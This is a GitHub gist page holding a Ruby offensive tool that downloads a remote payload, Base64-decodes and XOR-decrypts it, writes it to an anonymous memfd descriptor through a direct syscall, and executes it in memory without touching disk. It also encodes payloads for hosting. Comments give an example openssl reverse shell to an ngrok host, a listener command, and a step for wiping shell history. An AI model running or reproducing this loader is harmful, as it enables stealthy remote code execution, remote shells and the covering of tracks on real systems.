Created
November 20, 2022 22:29
-
-
Save dualfade/a30e26e4505daa9b05a283b2330ed812 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env ruby | |
# typed: false | |
# dualfade -- | |
# memfd_create_rssl.rb -- | |
# NOTE: from sorbet -- | |
# https://sorbet.org/docs/adopting -- | |
# gem 'sorbet-static-and-runtime' | |
# gem 'tapioca', require: false, :group => :development | |
# -> bundle exec tapioca init | |
require 'bundler/inline' | |
gemfile do | |
source 'https://rubygems.org' | |
gem 'sorbet-runtime', require: true | |
gem 'slop', require: true | |
gem 'logger', require: true | |
gem 'base64', require: true | |
gem 'uri', require: true | |
gem 'httparty', require: true | |
end | |
# logger opts -- | |
logger = Logger.new($stdout) | |
original_formatter = Logger::Formatter.new | |
logger.formatter = proc { |severity, datetime, progname, msg| | |
original_formatter.call(severity, datetime, progname, msg.dump) | |
} | |
# syscall class -- | |
class MakeSyscall | |
extend T::Sig | |
sig { params(payload: String).returns(Integer) } | |
def self.do_initiate(payload) | |
# make direct syscall to sys_memfd_create; create | |
# handler and write the payload too it. | |
# torvalds -> syscalls/syscall_64.tbl | |
# https://bit.ly/2HGJWAQ -- | |
# class logger instance -- | |
@logger = Logger.new($stdout) | |
# instance var -- | |
@payload = payload | |
begin | |
anon_fname = '' | |
fd = syscall(319, anon_fname, 0) | |
fd.to_i | |
# if sys_memfd_create fails, rescue; log -- | |
rescue IOError => e | |
@logger.error(format('received exception %s', e)) | |
end | |
end | |
sig { params(fdid: Integer).returns(String) } | |
def self.do_fdwrite(fdid) | |
# write the payload to the memfd file | |
# descriptor -- | |
# instance var -- | |
@fd = fdid | |
begin | |
slink = format('/proc/self/fd/%d', @fd) | |
@logger.info(format('writing memfd payload => %s', slink)) | |
s = File.open(slink, 'w') | |
s.write(@payload) | |
s.close | |
# readlink; verify output -- | |
o = File.readlines(slink) | |
@logger.info(format('reading symbolic link => %s', o)) | |
# errs -- | |
rescue IOError => e | |
@logger.error(format('recieved exception %s', e)) | |
end | |
# ret; exec -- | |
slink.to_s | |
end | |
end | |
def do_uri(url) | |
# fetch remote payload and store in memory -- | |
# set headers -- | |
headers = { | |
headers: { | |
'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)', | |
'Content-Type' => 'application/x-www-form-urlencoded' | |
} | |
} | |
begin | |
# make request; store resp; ret -- | |
HTTParty.get(url, headers) | |
# errs -- | |
rescue IOError => e | |
@logger.error(format('recieved exception %s', e)) | |
end | |
end | |
# NOTE: https://docs.ruby-lang.org/en/3.0/OpenSSL.html -- | |
# start SSL functions; gen certs and so on -- | |
def do_openssl | |
# gen certs placeholder -- | |
end | |
# xor class -- | |
class Xor | |
# basic xor encrypt and decrypt functions; | |
# this data will be written to the memfd descriptor | |
# and then executed in memory -- | |
extend T::Sig | |
def initialize(data, xkey) | |
@data = data | |
@xkey = xkey | |
end | |
# https://sorbet.org/docs/sigs -- | |
sig { params(data: String, xkey: String).returns(String) } | |
def self.do_xorify(data, xkey) | |
# encrypt / decrypt xor functions -- | |
# https://bit.ly/3gaVoYW | |
key = xkey | |
result = '' | |
codepoints = data.each_codepoint.to_a | |
codepoints.each_index do |i| | |
result += (codepoints[i] ^ key[i % key.size].ord).chr | |
end | |
result | |
end | |
end | |
def do_generate_payload(gen_enc_payload, xkey) | |
# generate xor encoded payload -- | |
logger = Logger.new($stdout) | |
# use key; xor; encode and return -- | |
x = Xor.do_xorify(gen_enc_payload, xkey) | |
u = Base64.strict_encode64(x) | |
logger.info(format('host payload => %s', u.to_s)) | |
logger.info('exiting') | |
end | |
# errs -- | |
def error(message) | |
logger = Logger.new($stdout) | |
logger.info(format('%s', message)) | |
end | |
# main -- | |
if __FILE__ == $PROGRAM_NAME | |
# get opts; start main funcs -- | |
begin | |
opts = Slop.parse do |o| | |
# get opts -- | |
o.string('-u', '--url', 'payload url') | |
o.string('-g', '--generate', 'generate encoded payload') | |
o.string('-k', '--xorkey', 'random xor key') | |
o.on('-h', '--help', 'help: this menu') do | |
puts(o) | |
exit | |
end | |
end | |
# assign vars -- | |
url = (opts[:url]) | |
gen_payload = (opts[:generate]) | |
xkey = (opts[:xorkey]) | |
# call funcs -- | |
# ref-> https://gtfobins.github.io/gtfobins/openssl/ -- | |
# ex payload -> 'mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 0.tcp.ngrok.io:15889 > /tmp/s; rm /tmp/s' | |
# do things -> gen pem certs; echo $SHELL; ln -sf /dev/null /dev/null ~/.zsh_history etc | |
# ex listener -> 'rlwrap -Arc openssl s_server -quiet -key server.key -cert server.pem -port 8443' | |
if opts[:generate] | |
do_generate_payload(gen_payload, xkey) | |
else | |
resp = do_uri(url) | |
logger.info(format('resp => %s', resp)) | |
# decode; decrypt to memfd -- | |
x = Base64.strict_decode64(resp.to_s) | |
y = Xor.do_xorify(x, xkey) | |
logger.info(format('decoded payload => %s', y)) | |
# decrypt in mem; write; exec -- | |
r = MakeSyscall.do_initiate(y) | |
f = MakeSyscall.do_fdwrite(r) | |
exec(f) | |
end | |
# errs -- | |
rescue Slop::Error => e | |
logger.error(e) | |
rescue StandardError => e | |
logger.error(e) | |
end | |
end | |
# __eof__ |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment